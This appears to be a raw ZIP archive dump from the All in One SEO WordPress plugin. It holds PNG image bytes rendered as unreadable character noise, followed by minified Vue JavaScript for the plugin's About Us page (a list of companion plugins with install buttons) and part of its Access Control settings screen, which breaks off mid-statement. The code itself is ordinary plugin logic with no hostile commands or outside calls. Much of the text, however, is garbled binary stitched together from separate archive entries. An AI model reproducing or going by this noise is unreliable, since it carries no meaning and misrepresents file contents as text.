‰î<3€ÇÞ\/§Þ1¾(öhðhn|–3ÿ-R¢Ç½·»ËûŽÜÎt§'æYÁº— ×k«}{:Ð ÍIðaÑG ÝAg‚¨Xvêu}{^iNÀØE»}ƒPgóúÈÙ¶?ÜaŒÎÜ;|¥5Ÿà¹‘Êü\7ùð‰Ñ Dxö Ð’ÖúÒ£òí{&Ín@Çžõ¯l›¹äƒæˆÜ4d‰çÝ_—ñ4 xÙ–#iy •5V¶¡ßk8÷þiòé>OÒsÎ&³oΉ4ž”ª±>Ôb2] {}Úg9cú9j÷Úë3лïз¦õuè¶b]~ìÐÝÛ<ÿ2éS¿‡º…Ͼ8Ç€yß}"Q¹óåå Ÿ« ‚œ{ß4Ù¼çXÎÀÐñ[=¯¿N ^þØÜd s:=@çä À¥Åu¢Ïk( =]%Ò^‹/á¹c¾C»+­‰1%ÿ|y¡IsÜí¬¸áSs§(¨®×kÒŽW×»¥é¶Öd4ºi:$<§gâÞˆ^ËïõšfUò`‘ÑWˆòì@£«Ax¢K}F¬–ŸôŸmÕÏ õ¶õ€ëký°ïLëÎ5néÞL¤FËui †DÙyp癀û¬¬:Œ×æÛˆGò3$í‘L[µßëaôÜÄSˆòìÏ$½ùG»™ûÊë KGê¬ÕŽN ÕŸUXãîDw\§ËâK÷5W'oó’hOñïy}|¶ çÀ*›rœ©«x.ÿéa-ZÉ(äŠg»˜·á çæ!DÕöéÃÍDyöó¨eŸãè®?¯I·6ÆFÌ}ÅÂóØ1M—Ö‰ÒD;5©ÛŸ—û=G/¢<÷š1…ÜâµiÛ}gÝÇ.ÞöÓ6y€™tÞ$¡˜×të‹Kýžã¢<÷ €àÏ1þ:ÕÛtÕ"Õœÿ84xͪl°JŠ{À¯Ÿ÷5€Çˆò<Ú oβ Þý«]+Dé2zùhZ#þXmSèÒÒR‘(,€;)HïþÇ2`C„!ùcz”ÔïÇlÿ|bž\úÐ,+1(,éãi‘‹ž],oÍ- R^˜*]cÕØ„–X¥Tk¿‡ž„dš)¤Ë£zu$êsÔ>;Pm0£'çh’GºNçqN¦Ñг>& •'Jå‹™ŒÎÞ†zûç5ö×z¿I- +‹î#îotÑŸC Ýr­B“©#Âúuu¢I*Çš$Éc>ßï‘£Á ˜ÜdÙ¬5šª«VüCË/Ÿœ/WOúxW \`m ™´|_QÿÑšF¹ÿµÕÖò§~މäÐO§¤y¦¤¯Ëï±>ïK{5Wü~~6:Èr@ì² V‰mQÖã5ÏÎd5¸GF¯“Sî_TµãU2êôø<ëÜ ´:ëÉ@ޤÎöýÕÖq]™\ZÍå Ìc¼K°k2×¹Ò&—˜²r ³ýŠÅk½ß%»À †—í•3îÂxØ¿zÐõ€¨(v€`Pà¥h.fÐ ÂtíºÌ¤ü2H1€ì@4É  sNK·ë6:hKÿ­)m{í7«´5?{dÔzY´é°,ܘ¿Ò×?jÖNéè±ÚdÏô[—¤ „µÃNŸ[«Îh¾ï>;ði~Œ/G ðzmEBî8†MÇ5ñ3ý\GLÿ¬ Ìn}i¥çr'=¨³ï¶ ä†FûwÃ¸Ø >ùbÕžØÀŠÆ"¨ì·ßC¹ý~‚V5v¿¯fûñìǨ±M¨ZŽit=¶Ÿ|{WA `ø”ía«¶W`9<H¦ x.í±wo*%¿âpÄŠƯ9 `°p‰ØÃ™z ÀÀ²cë0 È[¸ÆëŠhå\¯Zuù²­Gˆ¶Â5€æ˜ùŠˆÇÄd¢ù’D¿ëLŠ6ÈñœŒDeÖ=ç‘0€ÖÀϼ.ìón¶ h$\Kî:A^øh ÑV˜µW?ØŽöªˆS ½Î–S½Æþy•=7á^ùp—QוJ{ue›ÑNiÉɨ²¿_n?W•ë÷+¼&<1€Ö@{iYËKöx­ýû½¦ËÜõ‰¸Â4'Êüuv@7¸‚Û‘û‘/.Ã6Ø&à˜‡cÕr|é·.æwÜÁÂ7€ŒÖ&º"Ÿî«²ö”{eYi*¦–nê3bŒœµÃ:uçÍ9(,éõœ¼bŸujR  Ü–“¯àªs&B£Ëš}–@Ý]þ:׿#1C‚DÏ M&ð·„kM‘¨üæÅ¥VÚ¨w‘ÍIVO¥GZÕæ¢¾3å c°ž8f«Ö5VÄ­°~9 Í ÆýјŸÇ›wˆ0 ˜>èæuU&.ßÇ®²Йö±fï-Ø•Ipºã±Ý{wÐ6вWlFd¼¬Çæ8ßsÿ=&8×+¡Dëèi/ MWL ÛÒ€îôÄ\©®kÊ”8cðxAîê iÛî +ˆJ ‡«b©À‰FžÖ7í>&ô™n•Ö&³'-îyNÏ)²¡´2ShrOânˆHü³SJÇR7ûü®ÎŒ5¬É>†Ei‰‚<™ ·¢5ƒ¤Á¾a´Õï ÍZ[&?8ÓÊ (æRÓÙèêU™Ô»ÖôSÝ •hW##&p“¨£å¦ïyu…5ó¯FÐþn†™^g]xg~i&'ëíy€¦ QÀc9`Ã^t=nª÷ˆÕri¿YVo€åºôê½§'UÀ#dh”Ô·i{õR2 Ü¡Àšd.þ¡ÊzYñi¹Œ[ºGFÍÞ‰B–®ý[ºWvªÉÆ^€:WV^kŠ´Ä»ë‡^ë×.±Ó?Í@±©¹ 1É:ñŠœ4»òê]iÃM 6‰Çj€û±1€ š@'i©¥@­+¿ÖÐq»? .fï€W¦_¼„N¶a-{²ÓXI(µDŽÝƒüms@†Mà›FÃ$ÜŠ¸?`é7‚ÿ6ZGXa@ñšÀ׌n3šÈü@NpØWc@ÆÍ ÑFŒ&éµ*×$ G®u-Ê¡ÕsVM2!-ûô1 ë†ðu£³Œ.4º…"„½ÜèF£;¥eÛöoí¯Z̵³m l®ZµéŸþÕè4ûë×lÃ=’ŠÊÑ`8 ܾ¬rþmm—Šhq‘~#×ÊìµeÖ&¯|ÖëÆÈ8ŠÍR2gƒ‘A¾ëŒn90€d  X„€`€«<ìo×Óª Ÿ àT¯„¬)+÷ûŽ‹Éžxk½Ÿ\E«‚|2]\‘¨5oÛWeÕpôZ+iåªw½Ë©kBÕwiUo&0,áºhTzcœzÇøÏOr.Öàÿå“󥼺Ñ3•ÀèDZä›ÜîÕª+L£ï1l¥UÎýô.ä´"“ÿ•æKÉ.ß*Ê£hMp®×† ¥9µo}îÃÍòäÛdÀ;%…¯·Kdð{eìâÝRYÓ$™°­ òu`#SB?í@k‚|5K¥åOh}iEï&Л8n]Ý£ A! FÏI±Ù¨-­ ÅN2$-UxÁÿÎߎV…hW­'Æ–Q{P{L´(dÐ"·½"-G¿—iÀëYFÝkÔ‘ÖÅf_5:Ó®áØ¹ˆtµ'q­ ³ü?a» g9PÏIEND®B`‚PKÉ—[|^µ_;all-in-one-seo-pack/dist/Lite/assets/images/yf.B3poydhR.pngnu„[µü¤‰PNG  IHDRddG€N§RµÚ°Zéߖۜݮì!Ä«*˲ž‚À¬Èd,kÌ[HW2f… xV€¿…zœïhäCž%“YÝq'Ö^Fð„§~¬£—ZZÌûê±ÞŒÅØö ûa\Atbþpö`_+Â0ŠrØ{´õô‡V‰Å3³£$.7¥{<Ñú0‚cŒp4¯j|†áÃÞ¡­º6m™YØ2|è ·t@'Y5dffï’9í”$èÌð’$<®\ÕDé¾°©ŸË*|=^ÖܺmTg&„9øäJÉ6¶su™1ÃTóò,³ÉdñªTR‹C%qÇF"ÏìLy½P&ɤòPIË‘9¤Ì$‰^ÿôñGÑBI ’6k•;¤ÌÖ€áé^‰Ä;…J¦2É×¢9‰És+ñ¡’`"Yo4@"qùþ‰[¾.TÒÍtPßô_ˆ×/h‰£•”FNœŸú-¢¿_Q×T’¸ÀJ6´žëI*9º °’ þ7¸Æ•Ð*ÙhÞÿ¹Ä~ùëE…¤·Ë˜ˆ× UcRV>»rg‹ººÙUÌJ¸ÏWô:)¡W<^ÒˆÝ#4 ¯øÎƒ‰øQÇhfÄÞUP i\×ϱE€ÅÛJòl#ÉM^lß7çÏ“¸‹GJ“ûÙæ¼ëÉØô¡$-ñ¾.¿ *gȨVàœžôîñåíåäØÞÛçÜåÕÜãË×åñÖåÄÖ×ÈÎßíÍÛêÊÄ×ÅÒ˜·¾Ô¶Á¬¶¯É±À¥±À‰¥ÃÝ£Ä{¡ÃÝŸ¥ÄŸ½i–§x‘p†¯KªÏz«>xºd^“a†;a™Æ^”Â\w(Ph?}´>W6r¬/K )íóîìÒàéÒÞØ·ÈÒ¾ÇÖ­ÃØ¤ÀË©¼Ñ¦¼Ó£¼É޹͎¯Ã˜­Ì†«œ¼ž´Šž¼b’¹\™½‹¡ÄŠ©c‰ªWƒ¨V€’oz¥}v£yŸSy‹´w–Oulœp›8l-bƒ²`wM_3Yk Rn8P‹¼OH„MTE@~D<{@h¡=bò†¶äMÑ¡&-ùbv€f˜O8írÞ*+çiiž1ˆ–°tÓ)]yþªµâz6£ou¡­x2 CB¹.-mm\vÊÛ&”†j´ tˆœ;ÃÉ=‰N]¾`¡Ì%t~G—Å&ÀÐæ%'¼ít€!d©n…v>scF g.È´Ûëm÷'BË[¯DŠEçLG.§:´ñYЦø›†XÒÒÓú' L籈yT¨_3Ÿ£Jbÿ"ô%¶pÓú¼¼@ì„^œ.˜Jè7Tσ‰ m¾¹~(–©LþÅŠ—ÊžK–L_¡6½@=»ÏžIEND®B`‚PKÉ—[ö}ŸÚìBìB;all-in-one-seo-pack/dist/Lite/assets/js/AboutUs.qljW4kpi.jsnu„[µü¤import{o as b,u as I}from"./links.CKSg78-h.js";import{n as a}from"./isArrayLikeObject.CkjpbQo7.js";import{e as k}from"./em.2x6etyqr.js";import{G as D,a as W}from"./Row.ou4tdPuA.js";import{S as C}from"./External.bx7ZSfw_.js";import{y as m,c as f,a as i,t as n,D as _,m as c,o as r,F as S,L as $,l as g,d,E as h}from"./vue.esm-bundler.DzelZkHk.js";import{_ as A}from"./_plugin-vue_export-helper.BN1snXvA.js";import"./default-i18n.BtxsUzQk.js";const T=""+window.__aioseoDynamicImportPreload__("images/team.C8DBqPIM.jpg"),F=""+window.__aioseoDynamicImportPreload__("images/afwp.CeIvddre.png"),E=""+window.__aioseoDynamicImportPreload__("svg/blc.OdlyqOb-.svg"),O=""+window.__aioseoDynamicImportPreload__("images/edd.DpQTObrr.png"),B=""+window.__aioseoDynamicImportPreload__("images/ff.DHfQgB8s.png"),M=""+window.__aioseoDynamicImportPreload__("images/if.BzSUPWic.png"),U=""+window.__aioseoDynamicImportPreload__("images/mi.CawcRRuC.png"),x=""+window.__aioseoDynamicImportPreload__("images/om.CO62a3V5.png"),L=""+window.__aioseoDynamicImportPreload__("images/pe.DLAePbst.png"),R=""+window.__aioseoDynamicImportPreload__("images/rafflepress.BX9JrCHk.png"),z=""+window.__aioseoDynamicImportPreload__("images/sc.CbU-f6AE.png"),j=""+window.__aioseoDynamicImportPreload__("images/smtp.CgF0XKTF.png"),G=""+window.__aioseoDynamicImportPreload__("images/sp.K6GWNRcC.png"),V=""+window.__aioseoDynamicImportPreload__("svg/swp.B6Wjzgdf.svg"),K=""+window.__aioseoDynamicImportPreload__("images/tf.p0oGLkzl.png"),Q=""+window.__aioseoDynamicImportPreload__("images/tp.DHhiBiXO.png"),X=""+window.__aioseoDynamicImportPreload__("images/wpforms.CAcCc8Da.png"),Y=""+window.__aioseoDynamicImportPreload__("images/wpsp.CvAXWjK4.png"),q=""+window.__aioseoDynamicImportPreload__("images/yf.B3poydhR.png"),H=""+window.__aioseoDynamicImportPreload__("svg/wpcode.gpKvR65w.svg"),J=""+window.__aioseoDynamicImportPreload__("svg/charitable.Bdjxf6b0.svg"),Z=""+window.__aioseoDynamicImportPreload__("svg/duplicator.ltQ8M9rj.svg"),N={setup(){return{pluginsStore:b(),rootStore:I()}},components:{GridColumn:D,GridRow:W,SvgExternal:C},data(){return{getAssetUrl:a,teamImg:T,localPlugins:[],networkActivated:[],strings:{welcome:{p1:this.$t.sprintf(this.$t.__("Welcome to %1$s, the original SEO plugin for WordPress. At %2$s, we build software that helps you rank your website in search results and gain organic traffic.",this.$td),"All in One SEO","All in One SEO"),p2:this.$t.__("Over the years, we found that most other WordPress SEO plugins were bloated, buggy, slow, and very hard to use. So we designed our plugin as an easy and powerful tool.",this.$td),p3:this.$t.__("Our goal is to take the pain out of optimizing your website for search engines.",this.$td),p4:this.$t.sprintf(this.$t.__("%1$s is brought to you by %2$s, the same team that’s behind the largest WordPress resource site, WPBeginner, the most popular lead-generation software, OptinMonster, the best WordPress analytics plugin, MonsterInsights and many more.",this.$td),"All in One SEO","Awesome Motive"),p5:this.$t.__("Yup, we know a thing or two about building awesome products that customers love.",this.$td),imageCaption:this.$t.sprintf(this.$t.__("The %1$s Team",this.$td),"Awesome Motive")},plugins:{actions:{install:this.$t.__("Install Free Plugin",this.$td),activate:this.$t.__("Activate",this.$td),manage:this.$t.__("Manage",this.$td)},status:this.$t.__("Status:",this.$td),statuses:{activated:this.$t.__("Activated",this.$td),deactivated:this.$t.__("Deactivated",this.$td),notInstalled:this.$t.__("Not Installed",this.$td)}}},pluginData:{brokenLinkChecker:{name:"Broken Link Checker",description:this.$t.__("Broken Link Checker by AIOSEO is an essential tool for ensuring that all internal and external links on your website are functioning correctly. Quickly check your site for broken links and easily fix them to improve SEO.",this.$td),icon:a(E),installed:!1,canInstall:!1,activated:!1,loading:!1},optinMonster:{name:"OptinMonster",description:this.$t.__("Instantly get more subscribers, leads, and sales with the #1 conversion optimization toolkit. Create high converting popups, announcement bars, spin a wheel, and more with smart targeting and personalization.",this.$td),icon:a(x),installed:!1,canInstall:!1,activated:!1,loading:!1},wpForms:{name:"WPForms",description:this.$t.__("The best drag & drop WordPress form builder. Easily create beautiful contact forms, surveys, payment forms, and more with our 1000+ form templates. Trusted by over 6 million websites as the best forms plugin.",this.$td),icon:a(X),installed:!1,canInstall:!1,activated:!1,loading:!1},wpFormsPro:{name:"WPForms Pro",free:"wpForms",installed:!1,canInstall:!1,activated:!1,loading:!1},miLite:{name:"MonsterInsights",description:this.$t.__("The leading WordPress analytics plugin that shows you how people find and use your website, so you can make data driven decisions to grow your business. Properly set up Google Analytics without writing code.",this.$td),icon:a(U),installed:!1,canInstall:!1,activated:!1,loading:!1},miPro:{name:"MonsterInsights Pro",free:"miLite",installed:!1,canInstall:!1,activated:!1,loading:!1},emLite:{name:"ExactMetrics",description:this.$t.__("The ExactMetrics Google Analytics for WordPress plugin helps you properly setup all the powerful Google Analytics tracking features without writing any code or hiring a developer.",this.$td),icon:a(k),installed:!1,canInstall:!1,activated:!1,loading:!1},emPro:{name:"ExactMetrics Pro",free:"emLite",installed:!1,canInstall:!1,activated:!1,loading:!1},wpMail:{name:"WP Mail SMTP",description:this.$t.__("Improve your WordPress email deliverability and make sure that your website emails reach user’s inbox with the #1 SMTP plugin for WordPress. Over 3 million websites use it to fix WordPress email issues.",this.$td),icon:a(j),installed:!1,canInstall:!1,activated:!1,loading:!1},wpMailPro:{name:"WP Mail SMTP Pro",free:"wpMail",installed:!1,canInstall:!1,activated:!1,loading:!1},wpcode:{name:"WPCode",description:this.$t.__("Future proof your WordPress customizations with the most popular code snippet management plugin for WordPress. Trusted by over 1,500,000+ websites for easily adding code to WordPress right from the admin area.",this.$td),icon:a(H),installed:!1,canInstall:!1,activated:!1,loading:!1},wpcodePro:{name:"WPCode Pro",free:"wpcode",installed:!1,canInstall:!1,activated:!1,loading:!1},seedProd:{name:"SeedProd Coming Soon",description:this.$t.__("The fastest drag & drop landing page builder for WordPress. Create custom landing pages without writing code, connect them with your CRM, collect subscribers, and grow your audience. Trusted by 1 million sites.",this.$td),icon:a(G),installed:!1,canInstall:!1,activated:!1,loading:!1},seedProdPro:{name:"SeedProd Coming Soon Pro",free:"seedProd",installed:!1,canInstall:!1,activated:!1,loading:!1},trustPulse:{name:"TrustPulse",description:this.$t.__("Boost your sales and conversions by up to 15% with real-time social proof notifications. TrustPulse helps you show live user activity and purchases to help convince other users to purchase.",this.$td),icon:a(Q),installed:!1,canInstall:!1,activated:!1,loading:!1},rafflePress:{name:"RafflePress",description:this.$t.__("Turn your website visitors into brand ambassadors! Easily grow your email list, website traffic, and social media followers with the most powerful giveaways & contests plugin for WordPress.",this.$td),icon:a(R),installed:!1,canInstall:!1,activated:!1,loading:!1},rafflePressPro:{name:"RafflePress Pro",free:"rafflePress",installed:!1,canInstall:!1,activated:!1,loading:!1},facebookFeed:{name:"Smash Balloon Facebook Feeds",description:this.$t.__("Easily display Facebook content on your WordPress site without writing any code. Comes with multiple templates, ability to embed albums, group content, reviews, live videos, comments, and reactions.",this.$td),icon:a(B),installed:!1,canInstall:!1,activated:!1,loading:!1},facebookFeedPro:{name:"Smash Balloon Facebook Feeds Pro",free:"facebookFeed",installed:!1,canInstall:!1,activated:!1,loading:!1},instagramFeed:{name:"Smash Balloon Instagram Feeds",description:this.$t.__("Easily display Instagram content on your WordPress site without writing any code. Comes with multiple templates, ability to show content from multiple accounts, hashtags, and more. Trusted by 1 million websites.",this.$td),icon:a(M),installed:!1,canInstall:!1,activated:!1,loading:!1},instagramFeedPro:{name:"Smash Balloon Instagram Feeds Pro",free:"instagramFeed",installed:!1,canInstall:!1,activated:!1,loading:!1},twitterFeed:{name:"Smash Balloon Twitter Feeds",description:this.$t.__("Easily display Twitter content in WordPress without writing any code. Comes with multiple layouts, ability to combine multiple Twitter feeds, Twitter card support, tweet moderation, and more.",this.$td),icon:a(K),installed:!1,canInstall:!1,activated:!1,loading:!1},twitterFeedPro:{name:"Smash Balloon Twitter Feeds Pro",free:"twitterFeed",installed:!1,canInstall:!1,activated:!1,loading:!1},youTubeFeed:{name:"Smash Balloon YouTube Feeds",description:this.$t.__("Easily display YouTube videos on your WordPress site without writing any code. Comes with multiple layouts, ability to embed live streams, video filtering, ability to combine multiple channel videos, and more.",this.$td),icon:a(q),installed:!1,canInstall:!1,activated:!1,loading:!1},youTubeFeedPro:{name:"Smash Balloon YouTube Feeds Pro",free:"youTubeFeed",installed:!1,canInstall:!1,activated:!1,loading:!1},pushEngage:{name:"PushEngage",description:this.$t.__("Connect with your visitors after they leave your website with the leading web push notification software. Over 10,000+ businesses worldwide use PushEngage to send 15 billion notifications each month.",this.$td),icon:a(L),installed:!1,canInstall:!1,activated:!1,loading:!1},searchWp:{name:"SearchWP",description:this.$t.__("The most advanced WordPress search plugin. Customize your WordPress search algorithm, reorder search results, track search metrics, and everything you need to leverage search to grow your business.",this.$td),icon:a(V),installed:!1,canInstall:!1,activated:!1,loading:!1,installUrl:this.$links.utmUrl("aioseo","about-us","https://searchwp.com/")},affiliateWp:{name:"AffiliateWP",description:this.$t.__("The #1 affiliate management plugin for WordPress. Easily create an affiliate program for your eCommerce store or membership site within minutes and start growing your sales with the power of referral marketing.",this.$td),icon:a(F),installed:!1,canInstall:!1,activated:!1,loading:!1,installUrl:this.$links.utmUrl("aioseo","about-us","https://affiliatewp.com/")},wpSimplePay:{name:"WP Simple Pay",description:this.$t.__("The #1 Stripe payments plugin for WordPress. Start accepting one-time and recurring payments on your WordPress site without setting up a shopping cart. No code required.",this.$td),icon:a(Y),installed:!1,canInstall:!1,activated:!1,loading:!1},wpSimplePayPro:{name:"WP Simple Pay Pro",free:"wpSimplePay",installed:!1,canInstall:!1,activated:!1,loading:!1},easyDigitalDownloads:{name:"Easy Digital Downloads",description:this.$t.__("The best WordPress eCommerce plugin for selling digital downloads. Start selling eBooks, software, music, digital art, and more within minutes. Accept payments, manage subscriptions, advanced access control, and more.",this.$td),icon:a(O),installed:!1,canInstall:!1,activated:!1,loading:!1},easyDigitalDownloadsPro:{name:"Easy Digital Downloads Pro",free:"easyDigitalDownloads",installed:!1,canInstall:!1,activated:!1,loading:!1},sugarCalendar:{name:"Sugar Calendar",description:this.$t.__("A simple & powerful event calendar plugin for WordPress that comes with all the event management features including payments, scheduling, timezones, ticketing, recurring events, and more.",this.$td),icon:a(z),installed:!1,canInstall:!1,activated:!1,loading:!1},sugarCalendarPro:{name:"Sugar Calendar Pro",free:"sugarCalendar",installed:!1,canInstall:!1,activated:!1,loading:!1},charitable:{name:"WP Charitable",description:this.$t.__("Top-rated WordPress donation and fundraising plugin. Over 10,000+ non-profit organizations and website owners use Charitable to create fundraising campaigns and raise more money online.",this.$td),icon:a(J),installed:!1,canInstall:!1,activated:!1,loading:!1},duplicator:{name:"Duplicator - WordPress Migration & Backup Plugin",description:this.$t.__("Leading WordPress backup & site migration plugin. Over 1,500,000+ smart website owners use Duplicator to make reliable and secure WordPress backups to protect their websites. It also makes website migration really easy.",this.$td),icon:a(Z),installed:!1,canInstall:!1,activated:!1,loading:!1}}}},methods:{activate(e){if(!this.plugins[e].installed&&this.plugins[e].installUrl){window.open(this.plugins[e].installUrl,"_blank").focus();return}this.plugins[e].loading=!0,this.pluginsStore.installPlugins([{plugin:e,type:"plugin"}]).then(l=>{if(this.plugins[e].loading=!1,Object.keys(l.body.completed).length)this.plugins[e].installed=!0,this.plugins[e].activated=!0,this.rootStore.aioseo.data.isNetworkAdmin&&this.networkActivated.push(e);else if(Object.keys(l.body.failed).length)throw new Error(l.body.failed)}).catch(l=>{this.plugins[e].loading=!1,console.error(`Unable to install ${e}: ${l}`)})},getPluginAdminUrl(e,l){return!this.rootStore.aioseo.data.isNetworkAdmin||!l.networkAdminUrl||!this.networkActivated.includes(e)?l.adminUrl:l.networkAdminUrl}},computed:{plugins(){return Object.keys(this.localPlugins).forEach(e=>{this.pluginData[e].free&&(this.pluginData[e].description=this.pluginData[this.pluginData[e].free].description,this.pluginData[e].icon=this.pluginData[this.pluginData[e].free].icon)}),this.pluginData}},mounted(){this.localPlugins={...this.pluginsStore.plugins},Object.keys(this.localPlugins).forEach(e=>{this.pluginData[e].installed=this.localPlugins[e].installed,this.pluginData[e].canInstall=this.localPlugins[e].canInstall,this.pluginData[e].canActivate=this.localPlugins[e].canActivate,this.pluginData[e].activated=this.localPlugins[e].activated,this.plugins[e].free&&(this.localPlugins[e].installed?delete this.localPlugins[this.plugins[e].free]:delete this.localPlugins[e])})}},ee={class:"aioseo-about-us"},se={class:"aioseo-about-us-welcome"},te={class:"welcome-intro"},ae={class:"welcome-image"},ie=["src","alt"],oe={class:"aioseo-about-us-plugins"},ne={class:"plugin-main"},le=["alt","src"],re={class:"main-name"},de={class:"plugin-footer"},ce={class:"footer-status"},fe={class:"footer-status-label"},ge={key:0,class:"footer-status footer-status-not-installed"},ue={key:1,class:"footer-status footer-status-deactivated"},me={key:2,class:"footer-status footer-status-activated"},he={class:"footer-action"};function pe(e,l,_e,we,o,t){const u=m("base-button"),w=m("svg-external"),y=m("grid-column"),v=m("grid-row");return r(),f("div",ee,[i("div",se,[i("div",te,[i("div",null,n(o.strings.welcome.p1),1),i("div",null,n(o.strings.welcome.p2),1),i("div",null,n(o.strings.welcome.p3),1),i("div",null,n(o.strings.welcome.p4),1),i("div",null,n(o.strings.welcome.p5),1)]),i("div",ae,[i("figure",null,[i("img",{src:o.getAssetUrl(o.teamImg),alt:o.strings.welcome.imageCaption},null,8,ie),i("figcaption",null,n(o.strings.welcome.imageCaption),1)])])]),i("div",oe,[_(v,null,{default:c(()=>[(r(!0),f(S,null,$(o.localPlugins,(p,s)=>(r(),g(y,{sm:"12",md:"6",key:s,id:s,class:"plugin"},{default:c(()=>[i("div",ne,[i("div",null,[i("img",{alt:t.plugins[s].name+" Plugin image",src:t.plugins[s].icon},null,8,le)]),i("div",null,[i("div",re,n(t.plugins[s].name),1),i("div",null,n(t.plugins[s].description),1)])]),i("div",de,[i("div",ce,[i("div",fe,n(o.strings.plugins.status),1),t.plugins[s].installed?d("",!0):(r(),f("div",ge,n(o.strings.plugins.statuses.notInstalled),1)),t.plugins[s].installed&&!t.plugins[s].activated?(r(),f("div",ue,n(o.strings.plugins.statuses.deactivated),1)):d("",!0),t.plugins[s].installed&&t.plugins[s].activated?(r(),f("div",me,n(o.strings.plugins.statuses.activated),1)):d("",!0)]),i("div",he,[!t.plugins[s].installed&&t.plugins[s].canInstall?(r(),g(u,{key:0,type:"blue",onClick:P=>t.activate(s),loading:t.plugins[s].loading},{default:c(()=>[h(n(o.strings.plugins.actions.install),1)]),_:2},1032,["onClick","loading"])):d("",!0),!t.plugins[s].installed&&!t.plugins[s].canInstall?(r(),g(u,{key:1,type:"blue",tag:"a",target:"_blank",href:p.wpLink},{default:c(()=>[_(w),h(" "+n(o.strings.plugins.actions.install),1)]),_:2},1032,["href"])):d("",!0),t.plugins[s].installed&&!t.plugins[s].activated?(r(),g(u,{key:2,type:"green",disabled:!t.plugins[s].canActivate,onClick:P=>t.activate(s),loading:t.plugins[s].loading},{default:c(()=>[h(n(o.strings.plugins.actions.activate),1)]),_:2},1032,["disabled","onClick","loading"])):d("",!0),t.plugins[s].installed&&t.plugins[s].activated&&t.getPluginAdminUrl(s,p).length!==0?(r(),g(u,{key:3,type:"gray",tag:"a",href:t.getPluginAdminUrl(s,p)},{default:c(()=>[h(n(o.strings.plugins.actions.manage),1)]),_:2},1032,["href"])):d("",!0)])])]),_:2},1032,["id"]))),128))]),_:1})])])}const Ce=A(N,[["render",pe]]);export{Ce as default}; PKÉ—[,ÄrUèèAall-in-one-seo-pack/dist/Lite/assets/js/AccessControl.B_dncQFp.jsnu„[µü¤import{u as v,m as B,f as x}from"./links.CKSg78-h.js";import{s as a,_ as s}from"./default-i18n.BtxsUzQk.js";import{y as i,o as c,c as _,D as l,m as r,a as S,t as u,E as p,F as w,L,l as h,d as C}from"./vue.esm-bundler.DzelZkHk.js";import{_ as E}from"./_plugin-vue_export-helper.BN1snXvA.js";import{C as U}from"./Blur.B433XVqJ.js";import{C as P}from"./Card.C6Yzm1Gr.js";import{C as D}from"./ProBadge.Dgq0taM8.js";import{C as M}from"./SettingsRow.B0N4hwjp.js";import{C as N}from"./Index.Ck0NNxBQ.js";import"./isArrayLikeObject.CkjpbQo7.js";import"./Tooltip.DcUmvaHX.js";import"./Caret.Cuasz9Up.js";import"./index.DX4OhBfI.js";import"./Slide.BfXXFx9A.js";import"./Row.ou4tdPuA.js";import"./constants.DARe-ccJ.js";const e="all-in-one-seo-pack",V=()=>{const t={tooltip:a(s("By default, only Administrators have permission to manage %1$s within WordPress. With Access Controls, you can easily extend access permissions to other user roles.",e),"AIOSEO"),accessControl:s("Access Control Settings",e),useDefaultSettings:s("Use Default Settings",e)},o=[{label:s("Administrator",e),name:"administrator",description:a(s("By default Admins have access to %1$sall SEO site settings%2$s",e),"","")},{label:s("Editor",e),name:"editor",description:a(s("By default Editors have access to %1$sSEO settings for General Settings, Search Appearance, Social Networks, and Redirects as well as all settings for individual pages and posts.%2$s",e),"","")},{label:s("Author",e),name:"author",description:a(s("By default Authors have access to %1$sSEO settings for individual pages and posts that they already have permission to edit.%2$s",e),"","")},{label:s("Contributor",e),name:"contributor",description:a(s("By default Contributors have access to %1$sSEO settings for individual pages and posts that they already have permission to edit.%2$s",e),"","")},{label:s("SEO Manager",e),name:"seoManager",description:a(s("By default SEO Managers have access to %1$sSEO settings for General Settings, Sitemaps, Link Assistant, Redirects, Local SEO, and individual pages and posts.%2$s",e),"","")},{label:s("SEO Editor",e),name:"seoEditor",description:a(s("By default SEO Editors have access to %1$sSEO settings for individual pages and posts.%2$s",e),"","")}];return{strings:t,roles:o}},F={computed:{getRoles(){const t=v();return this.roles.concat(Object.keys(t.aioseo.user.customRoles).map(o=>({label:t.aioseo.user.roles[o],name:o,description:this.$t.sprintf(this.$t.__("By default the %1$s role %2$shas no access%3$s to %4$s settings.",this.$td),t.aioseo.user.roles[o],"","","All in One SEO"),dynamic:!0})))}}},G={setup(){const{strings:t,roles:o}=V();return{composableStrings:t,roles:o}},components:{CoreBlur:U,CoreCard:P,CoreProBadge:D,CoreSettingsRow:M,Cta:N},mixins:[F],data(){return{strings:B(this.composableStrings,{wpRoles:this.$t.__("WP Roles (Editor, Author)",this.$td),seoManagerRole:this.$t.__("SEO Manager Role",this.$td),seoEditorRole:this.$t.__("SEO Editor Role",this.$td),defaultSettings:this.$t.__("Default settings that just work",this.$td),granularControl:this.$t.__("Granular controls per role",this.$td),ctaButtonText:this.$t.__("Unlock Access Control",this.$td),ctaHeader:this.$t.sprintf(this.$t.__("Access Control is a %1$s Feature",this.$td),"PRO")})}},computed:{getLiteRoles(){const t=this.getRoles;let o=1;for(;8>t.length;)t.push({label:this.$t.__("Custom Role",this.$td)+" "+o,name:"customRole"+o}),o++;return t}}},T={class:"aioseo-access-control-lite"},W={class:"toggle"};function j(t,o,b,d,n,f){const g=i("core-pro-badge"),m=i("base-toggle"),A=i("core-settings-row"),R=i("core-blur"),O=i("cta"),k=i("core-card");return c(),_("div",T,[l(k,{slug:"accessControl"},{header:r(()=>[S("span",null,u(n.strings.accessControl),1),l(g)]),tooltip:r(()=>[p(u(n.strings.tooltip),1)]),default:r(()=>[l(R,null,{default:r(()=>[(c(!0),_(w,null,L(f.getLiteRoles,$=>(c(),h(A,{key:$.name,name:$.label},{content:r(()=>[S("div",W,[l(m,{disabled:!0,modelValue:!0},{default:r(()=>[p(u(n.strings.useDefaultSettings),1)]),_:1})])]),_:2},1032,["name"]))),128))]),_:1}),l(O,{"feature-list":[n.strings.granularControl,n.strings.wpRoles,n.strings.seoManagerRole,n.strings.seoEditorRole],"cta-link":t.$links.getPricingUrl("access-control","access-control-upsell"),"button-text":n.strings.ctaButtonText,"learn-more-link":t.$links.getUpsellUrl("access-control",null,t.$isPro?"pricing":"liteUpgrade"),"align-top":""},{"header-text":r(()=>[p(u(n.strings.ctaHeader),1)]),description:r(()=>[p(u(n.strings.tooltip),1)]),_:1},8,["feature-list","cta-link","button-text","learn-more-link"])]),_:1})])}const y=E(G,[["render",j]]),H={setup(){return{licenseStore:x()}},components:{AccessControl:y,AccessControlLite:y}},I={class:"aioseo-access-control"};function q(t,o,b,d,n,f){const g=i("access-control",!0),m=i("access-control-lite");return 